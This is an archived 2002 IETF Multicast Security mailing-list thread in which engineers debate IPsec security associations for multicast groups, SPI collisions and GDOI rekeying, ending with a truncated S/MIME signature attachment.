http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 15:24:48 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10220
	for <msec-archive@odin.ietf.org>; Tue, 2 Jul 2002 15:24:48 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id AACFC536CF; Tue,  2 Jul 2002 15:23:50 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 21BDD537F2
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 14:51:26 -0400 (EDT)
Received: (qmail 21480 invoked by uid 3269); 2 Jul 2002 18:52:37 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 21477 invoked from network); 2 Jul 2002 18:52:37 -0000
Received: from sj-msg-core-1.cisco.com (171.71.163.11)
  by klesh.pair.com with SMTP; 2 Jul 2002 18:52:37 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g62Ips39008656;
	Tue, 2 Jul 2002 11:51:54 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ABY73782;
	Tue, 2 Jul 2002 11:49:43 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020702095523.04a39ef8@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: <annelies.van_moffaert@alcatel.be>
From: Mark Baugher <mbaugher@cisco.com>
Subject: Re: [MSEC] Re: new version of ESP ID
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
In-Reply-To: <OFB89CE622.6FAAD340-ONC1256BEA.00568726@net.alcatel.be>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 02 Jul 2002 11:48:52 -0700

Annalies,

At 06:09 PM 7/2/2002 +0200, annelies.van_moffaert@alcatel.be wrote:
>Mark and Steve,
>
>I am not sure I completely understand your arguments. I would think that
>there is a difference between saying that
>1. IPsec can only be used to protect SSM or single-source multicast groups
>and
>2. When using IPsec to protect multicast traffic one should use a seperate
>SA per sender.
>
>In the second case there can be more than 1 sender allowed to send to the
>same group. Both legitimate senders and receivers should then e.g.
>authenticate to a common key server and the key server could create for
>each sender a seperate SA. Additionally the key server would push the SAs
>to the group of receivers.

I think we need to introduce the constraint that one and only
one controller or key server will establish SAs for a
given multicast address for all multicast applications,
or we would need to constrain multicast SAs to apply
to SSM only.  The latter seems to be a more robust
approach to me.  Sorry if I have not been clear about this.

So, although the correct answer to your question is #2,
#1 ensures that we won't have an SPI collision in the
absence of a single controller per multicast group.  It's
true that a collision of SPIs is unlikely _if they are
random_, but the SPI is not required to be random.  Besides
that, I think we want to avoid even unlikely failures.

>A concrete example could be hosts that all send IGMP messages to the group
>address to which all IGMP capable routers listen  or PIM routers that all
>send PIM messages to the PIM group address. It could also be a multicast
>data service with more than one legitimate source (all sources should then
>probably be under the control of a single key server).
>
>Do you have scenario 1 in mind or scenario 2 or again something else?
>
>
>A second question I have relates to the statement that "the receiver SHALL
>check the source address to ensure that it is from the authorized sender".
>Isn't this a weak check given that a source address can be spoofed by a
>receiver who wants to impersonate the sender?

Yes, but this is always true since we use an HMAC for message
authentication in IPsec rather than a digital signature.  We
must assume that group members are trusted not to impersonate
one another.  Otherwise IPsec message authentication is not
secure.  The sender check by the receiver protects the receiver
from cases where some member is not impersonating an
authorized sender, e.g. in a faulty implementation.

Mark


>Mark explained correctly my concern related to colliding SPI values when
>independent group controllers manage SAs for the same destination address.
>Thanks! ;-) I think this problem could be solved by adding the source
>address to the triplet (SPI, protocol, dest IP addr).
>
>Kind regards, Lies.
>
>
>
>
>
>
>
>Mark Baugher <mbaugher@cisco.com>@securemulticast.org on 02/07/2002
>17:30:35
>
>Sent by:  msec-admin@securemulticast.org
>
>
>To:   Stephen Kent <kent@bbn.com>
>cc:   ipsec@lists.tislabs.com, msec@securemulticast.org
>Subject:  [MSEC] Re: new version of ESP ID
>
>
>Steve,
>
>At 05:07 PM 7/1/2002 -0400, Stephen Kent wrote:
><text deleted>
>
>
> >>Finally, If we are going to restrict a multicast SA to single-source
> >>multicast groups, then I don't understand how we can avoid identifying
> >>associating that sender with the SA.  If a member of the single-source
> >>multicast group who is not the authorized sender begins sending to that
> >>group, there is no way to identify this problem, which will likely break
> >>the anti-replay mechanism.
> >
> >  The SA for a single-sender, multicast SA should specify the address of
> > the one, authorized sender and that would be checked by each receiver.
>
>I'm okay with this.  It limits us strictly to single-sender multicast
>groups.  Given the complexities of multicast security, that's probably the
>best approach at least for the near term.  Shouldn't we document this
>constraint in the ESP (and AH) I-Ds?  That is, the receiver SHALL check the
>source address of a received packet to ensure that it is from the
>authorized sender for the particular SA?
>
>
> >This is separate from the fact that the IP source address is not (and
> >never has been) used in selecting the SA for inbound traffic, i.e., it is
> >the destination address and the SPI that are used for that demuxing.
>
>Yes, and this is consistent with what RFC 2401 says:  "The concept is
>applicable in the point-to-multipoint case as well."  We disallow having
>multiple senders share an SA.  Annalies point was (if I understand her
>correctly) that we cannot have multiple SAs for a particular multicast
>destination address because the SPIs might collide.  The SPIs might collide
>if different group controllers assign them independently.  Do you agree?
>
>Mark
>
>
> >Steve
>
>
>_______________________________________________
>msec mailing list
>msec@securemulticast.org
>http://www.pairlist.net/mailman/listinfo/msec


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 16:26:12 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13431
	for <msec-archive@odin.ietf.org>; Tue, 2 Jul 2002 16:26:08 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 0528E53945; Tue,  2 Jul 2002 16:22:31 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id C1797535D4
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 14:44:55 -0400 (EDT)
Received: (qmail 20792 invoked by uid 3269); 2 Jul 2002 18:46:07 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 20789 invoked from network); 2 Jul 2002 18:46:07 -0000
Received: from m5.sparta.com (root@157.185.61.1)
  by klesh.pair.com with SMTP; 2 Jul 2002 18:46:07 -0000
Received: from columbia.sparta.com (columbia.sparta.com [157.185.80.205])
	by M5.sparta.com (8.12.3/8.12.3) with ESMTP id g62IjuGX007986;
	Tue, 2 Jul 2002 13:45:56 -0500
Received: from columbia.sparta.com (dhcp-5.columbia.sparta.com [157.185.80.6])
	by columbia.sparta.com (8.9.1a/8.9.1) with ESMTP id OAA24127;
	Tue, 2 Jul 2002 14:45:52 -0400 (EDT)
Message-ID: <3D21F566.94EBB6C8@columbia.sparta.com>
From: Andrea Colegrove <acc@columbia.sparta.com>
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <kent@bbn.com>
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
References: <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>		
	 <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>	
	 <4.3.2.7.2.20020702081612.04a49dc8@mira-sjc5-6.cisco.com>	
	 <3D21D287.8B0CA939@columbia.sparta.com>
	 <p05100304b9478598f01e@[128.89.88.34]>
	 <3D21DEB8.CF254EC1@columbia.sparta.com> <p05100307b94798fc7e32@[128.89.88.34]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 02 Jul 2002 14:48:06 -0400
Content-Transfer-Encoding: 7bit

Steve,

Stephen Kent wrote:

> >
> >Are there plans to expand the SPD facility to support more generic policy, as
> >well?  It appears that while RFC 2401 designates IKE as the default security
> >management mechanism, allowing others, as a "MAY", multiple
> >management mechanisms
> >may be needed for different uses. (e.g., IKEv2 for gateways, JFK for
> >small mobile
> >devices, gdoi for single source multicast groups, KMI for
> >government, etc.)  These
> >mechanisms may also have different policy needs.  For example, GDOI
> >might want to
> >check that it has received out-of-band, a group policy token that is
> >valid before
> >proceeding to key distribution.  It would probably be important to
> >show that the
> >correct management mechanism is selected according to policy and
> >that the security
> >operating assumptions for each is met.
>
> IKEv2 and JFK are competing replacements for IKE v1. I don't see the
> split you allude to above, i.e., I expect the WG to select one
> replacement, because the choice affects not only the local device,
> but also any device with which it communicates. So a I can't have one
> protocol for security gateways and another for small, mobile devices,
> if these devices ever want to communicate with a computer behind a
> security gateway, for example.
>
> Nonetheless, your question is relevant. There is a distinction
> between what 2401 will mandate in terms of SPD capabilities, and what
> any key/SA management protocol provides. I think it is reasonable for
> IPsec to be able to use more than one key/SA management protocol, but
> the SPD should be uniform and the protocols should support what the
> SPD allows users to express. The concern I have re support of
> multicast is any imposition of new requirements on the "fast path"
> processing required of all IPsec implementations. As more of these
> move into hardware, to accommodate higher speeds, we cannot easily
> make changes on things such as SA demuxing without severely affecting
> this hardware.

Re:  IKEv2 and JFK -- a couple of recent postings have mentioned the use of both.
But, yes, I agree it would be an interoperability nightmare.

Nevertheless, even the different domains of pairwise dynamic keying, single-source
multicast, multi-sender multicast, pre-placed (if it survives) update management,
and centralized keying, all have slightly different needs for the SPD.  I would
suspect that unless the policy issues were pushed up to the application layer, that
the SPD will need to have a flexible format for any implementation.  Indeed, I
would suspect that for management purposes, it would even make sense in the future
to take on standardized approaches for remote management of SPDs.  (2401-bis).

This complexity probably does fly in the face of the simplicity needed for high
speed applications.

--- Andrea


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul  3 01:05:24 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04889
	for <msec-archive@odin.ietf.org>; Wed, 3 Jul 2002 01:05:19 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id C8F3853705; Wed,  3 Jul 2002 01:04:21 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id B22FD535F7
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 22:00:35 -0400 (EDT)
Received: (qmail 78961 invoked by uid 3269); 3 Jul 2002 02:01:48 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 78958 invoked from network); 3 Jul 2002 02:01:47 -0000
Received: from 205-158-62-44.outblaze.com (HELO mta1-3.us4.outblaze.com) (205.158.62.44)
  by klesh.pair.com with SMTP; 3 Jul 2002 02:01:47 -0000
Received: from mta1-5.us4.outblaze.com (205-158-62-64.outblaze.com [205.158.62.64])
	by mta1-3.us4.outblaze.com (8.12.3/8.12.3/us4-srs) with SMTP id g6321F3G012619
	for <msec@securemulticast.org>; Wed, 3 Jul 2002 02:01:16 GMT
Received: (qmail 8747 invoked by uid 0); 3 Jul 2002 01:00:38 -0000
MBOX-Line: From owner-ipsec@lists.tislabs.com Tue Jul 02 17:38:44 2002
Received: (qmail 3005 invoked from network); 2 Jul 2002 17:38:43 -0000
Received: from unknown (HELO spf12.us4.outblaze.com) (205.158.62.36)
  by 205-158-62-64.outblaze.com with SMTP; 2 Jul 2002 17:38:43 -0000
Received: from spf2.us4.outblaze.com (205-158-62-24.outblaze.com [205.158.62.24])
	by spf12.us4.outblaze.com (8.12.3/8.12.3/us4-srs) with ESMTP id g62HcgAI022516
	for <mss80@mail-com.mail.com>; Tue, 2 Jul 2002 17:38:42 GMT
Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101])
	by spf2.us4.outblaze.com (8.12.4/8.12.4) with ESMTP id g62Hcful092252;
	Tue, 2 Jul 2002 17:38:42 GMT
Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA14337
	Tue, 2 Jul 2002 11:56:49 -0400 (EDT)
From: annelies.van_moffaert@alcatel.be
Subject: Re: [MSEC] Re: new version of ESP ID
To: Mark Baugher <mbaugher@cisco.com>
Cc: Stephen Kent <kent@bbn.com>, ipsec@lists.tislabs.com,
        msec@securemulticast.org
Message-ID: <OFB89CE622.6FAAD340-ONC1256BEA.00568726@net.alcatel.be>
X-MIMETrack: Serialize by Router on BEMAIL04/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 07/02/2002 18:09:12
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Precedence: bulk
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 2 Jul 2002 18:09:11 +0200

Mark and Steve,

I am not sure I completely understand your arguments. I would think that
there is a difference between saying that
1. IPsec can only be used to protect SSM or single-source multicast groups
and
2. When using IPsec to protect multicast traffic one should use a seperate
SA per sender.

In the second case there can be more than 1 sender allowed to send to the
same group. Both legitimate senders and receivers should then e.g.
authenticate to a common key server and the key server could create for
each sender a seperate SA. Additionally the key server would push the SAs
to the group of receivers.

A concrete example could be hosts that all send IGMP messages to the group
address to which all IGMP capable routers listen  or PIM routers that all
send PIM messages to the PIM group address. It could also be a multicast
data service with more than one legitimate source (all sources should then
probably be under the control of a single key server).

Do you have scenario 1 in mind or scenario 2 or again something else?


A second question I have relates to the statement that "the receiver SHALL
check the source address to ensure that it is from the authorized sender".
Isn't this a weak check given that a source address can be spoofed by a
receiver who wants to impersonate the sender?

Mark explained correctly my concern related to colliding SPI values when
independent group controllers manage SAs for the same destination address.
Thanks! ;-) I think this problem could be solved by adding the source
address to the triplet (SPI, protocol, dest IP addr).

Kind regards, Lies.







Mark Baugher <mbaugher@cisco.com>@securemulticast.org on 02/07/2002
17:30:35

Sent by:  msec-admin@securemulticast.org


To:   Stephen Kent <kent@bbn.com>
cc:   ipsec@lists.tislabs.com, msec@securemulticast.org
Subject:  [MSEC] Re: new version of ESP ID


Steve,

At 05:07 PM 7/1/2002 -0400, Stephen Kent wrote:
<text deleted>


>>Finally, If we are going to restrict a multicast SA to single-source
>>multicast groups, then I don't understand how we can avoid identifying
>>associating that sender with the SA.  If a member of the single-source
>>multicast group who is not the authorized sender begins sending to that
>>group, there is no way to identify this problem, which will likely break
>>the anti-replay mechanism.
>
>  The SA for a single-sender, multicast SA should specify the address of
> the one, authorized sender and that would be checked by each receiver.

I'm okay with this.  It limits us strictly to single-sender multicast
groups.  Given the complexities of multicast security, that's probably the
best approach at least for the near term.  Shouldn't we document this
constraint in the ESP (and AH) I-Ds?  That is, the receiver SHALL check the
source address of a received packet to ensure that it is from the
authorized sender for the particular SA?


>This is separate from the fact that the IP source address is not (and
>never has been) used in selecting the SA for inbound traffic, i.e., it is
>the destination address and the SPI that are used for that demuxing.

Yes, and this is consistent with what RFC 2401 says:  "The concept is
applicable in the point-to-multipoint case as well."  We disallow having
multiple senders share an SA.  Annalies point was (if I understand her
correctly) that we cannot have multiple SAs for a particular multicast
destination address because the SPIs might collide.  The SPIs might collide
if different group controllers assign them independently.  Do you agree?

Mark


>Steve


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec




_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Fri Jul  5 17:17:48 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18672
	for <msec-archive@odin.ietf.org>; Fri, 5 Jul 2002 17:17:48 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id F1715535E9; Fri,  5 Jul 2002 17:16:46 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 0606B53575
	for <msec@lists.securemulticast.org>; Fri,  5 Jul 2002 04:26:24 -0400 (EDT)
Received: (qmail 94362 invoked by uid 3269); 5 Jul 2002 08:27:40 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 94359 invoked from network); 5 Jul 2002 08:27:39 -0000
Received: from rumba.cefriel.it (131.175.53.6)
  by klesh.pair.com with SMTP; 5 Jul 2002 08:27:39 -0000
Received: by rumba.cefriel.it with Internet Mail Service (5.5.2653.19)
	id <3J82Q4K0>; Fri, 5 Jul 2002 10:29:27 +0200
Message-ID: <7B6D8AAF768F194EB3090A0325C8520239854B@rumba.cefriel.it>
From: Luca Venturi <venturi@cefriel.it>
To: "'msec@securemulticast.org'" <msec@securemulticast.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
MIME-Version: 1.0
Content-Type: multipart/signed;
	micalg=SHA1;
	boundary="----=_NextPart_000_0031_01C2240E.E5BBAFE0";
	protocol="application/x-pkcs7-signature"
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Subject: [MSEC] a question about the new GDOI draft
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Fri, 5 Jul 2002 10:29:26 +0200

This is a multi-part message in MIME format.

------=_NextPart_000_0031_01C2240E.E5BBAFE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I see that in the new GDOI draft the decision has been taken to adopt
Solution 1 among Brian's proposals with the introduction of two complete
rekeys. The reason for this choice seems to be the will to avoid double
encryption for the TEK (and consequent computational additional efforts
for the involved hosts , not to mention the implementation difficulties)
that would be otherwise required in Solutions 2 and 3. 

At least these are the disadvantages mentioned by Brian himself, when he
wrote about super-encryption, as I am quoting from his original first
email: 

" ... Solution 2: Leave the KD payload intact. That is, allow it to
contain both the KEK and TEK keys. But require the TEK portion of the KD
payload to be super-encrypted with the new KEK. This maintains
efficiency, but requires extra processing to that portion of the KD
payload which is super-encrypted. This is a  minimal (but subtle) change
to the GROUPKEY-PUSH protocol. However it does add substantial
complexity to the construction and processing of the KD payload.

Solution 3: Allow two KD payloads in the GROUPKEY-PUSH message, one
which would contain the KEK keys. The other would the TEK keys and be
super-encrypted with the new KEK. This is the most change to the draft,
but does provide the desired efficiency and is the cleanest overall
design. ... "

If things are like this, there's something I can't figure out:
double encryption (say, super-encryption) occurs also in the fourth
message of the GROUPKEY-PULL exchange, when the two parties agree on the
use the optional [KE_I] and [KE_R] payloads for the creation of an
additional Diffie-Hellman key. Indeed, in that case, according to
section 3.2.1 of the old draft, the KD payload is "xored" with the DH
key and the whole messagge is encrypted with the key from the SA
established during phase 1. 
That's quite the same that would occur to the KD payload of the
GROUPKEY-PUSH message in the case of Solutions 2 or 3. Why isn't it
possible to "xor" the part of the KD payload that contains the TEK with
the new KEK and finally to encrypt the whole message with the current
KEK?  That doesn't seem to add much more complexity than in the
described situation of the GROUPKEY-PULL phase. The same solution might
be taken for the PUSH message, in order to adopt one among Solutions 2
and 3, as I don't see the point in renouncing to the chance of using the
more efficient solution that consists of one single message for the
GROUPKEY-PUSH message (eventually splitting up the KD in two parts,
according to Solution 3, which provides "the desired efficiency and is
the cleanest overall design"). But maybe, there are other reasons that
lead to the choice of Solution 1, that I did not understand. I would
like to know someone else's opinion about this issue.

Best regards

Luca

------=_NextPart_000_0031_01C2240E.E5BBAFE0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Disposition: attachment;
	filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJBjCCApUw
ggH+oAMCAQICAwdOqDANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT
FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw
MC44LjMwMB4XDTAyMDQyNDA4MjkxMFoXDTAzMDQyNDA4MjkxMFowWzEQMA4GA1UEBBMHVmVudHVy
aTENMAsGA1UEKhMETHVjYTEVMBMGA1UEAxMMTHVjYSBWZW50dXJpMSEwHwYJKoZIhvcNAQkBFhJ2
ZW50dXJpQGNlZnJpZWwuaXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOgHZQCZdsGNot5Q
YmndQCvzq6nDbZ+xmmg/6TKEX6jenb+63EF8tByDzQiIkc8Y/WLT3bI9zCpRy1UYU2Zg4sZGXP7B
z227my7ALv/VGupqAVuNyCDhjBVLJyRnciyNTTIs7Oyn6e9E+F8Z3ruUZBaGl5rZpVsYDQk19qV/
Ve81AgMBAAGjLzAtMB0GA1UdEQQWMBSBEnZlbnR1cmlAY2VmcmllbC5pdDAMBgNVHRMBAf8EAjAA
MA0GCSqGSIb3DQEBBAUAA4GBAAY0MATZYldnFSlYb68pavbpY7awj6gnv8e2jAw/uogsoZFJkkDo
aTsImz+f6HIt1meCGLlzM3HDLdKMuWOnKjs0aBldYsdUThi+LJC5KkgepHi92/WpX6IQToSKuX3P
Q20Y/tM5qfA3sTw1xTRpanbJumiA82fDhYjrjuwvPQ0dMIIDLTCCApagAwIBAgIBADANBgkqhkiG
9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNh
dGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
IENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTk2MDEw
MTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAm
BgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhh
d3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1GnX1LCUZFtx6UfYDFG26nKRsIRe
fS0Nj3sS34UldSh0OkIsYyeflXtL734Zhx2G6qPduc6WZBrCFG5ErHzmj+hND3EfQDimAKOHePb5
lIZererAXnbr2RSjXW56fAylS1V/Bhkpf56aJtVquzgkCGqYx7Hao5iR/Xnb5VrEHLkCAwEAAaMT
MBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQDH7JJ+Tvj1lqVnYiqk8E0RYNBv
jWBYYawmu1I1XAjPMPuoSpaKH2JCI4wXD/S6ZJwXrEcp352YXtJsYHFcoqzceePnbgBHH7UNKOgC
neSa/RP0ptl8sfjcXyMmCZGAc9AUG95DqYMl8uacLxXK/qarigd1iwzdUYRr5PjRzneigTCCAzgw
ggKhoAMCAQICEGZFcrfMdPXPY3ZFhNAukQEwDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpB
MRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhh
d3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24x
JDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVy
c29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0wNDA4MjcyMzU5NTla
MIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRv
d24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNV
BAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAN4zMqZjxwklRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCj
bZjxw0+iZdsN+kvx1t1hpfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M88Dm0
m1SKE4f/s5udSWYALQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQ
cml2YXRlTGFiZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG
9w0BAQQFAAOBgQAxsUtHXfkBceX1U2xdedY9mMAmE2KBIqcS+CKV6BtJtyd7BDm6/ObyJOuR+r3s
DSo491BVqGz3Da1MG7wD9LXrokefbKIMWI0xQgkRbLAaadErErJAXWr5edDqLiXdiuT82w0fnQLz
WtvKPPZE6iZph39Ins6ln+eE2MliYq0FxjGCAqowggKmAgEBMIGaMIGSMQswCQYDVQQGEwJaQTEV
MBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0
ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt
YWlsIFJTQSAyMDAwLjguMzACAwdOqDAJBgUrDgMCGgUAoIIBZTAYBgkqhkiG9w0BCQMxCwYJKoZI
hvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMjA3MDUwODI5NTJaMCMGCSqGSIb3DQEJBDEWBBT7rlS3
MKIaHifkvk851PMZBLpY/TBYBgkqhkiG9w0BCQ8xSzBJMAoGCCqGSIb3DQMHMA4GCCqGSIb3DQMC
AgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMCGjAKBggqhkiG9w0CBTCBqwYJKwYB
BAGCNxAEMYGdMIGaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD
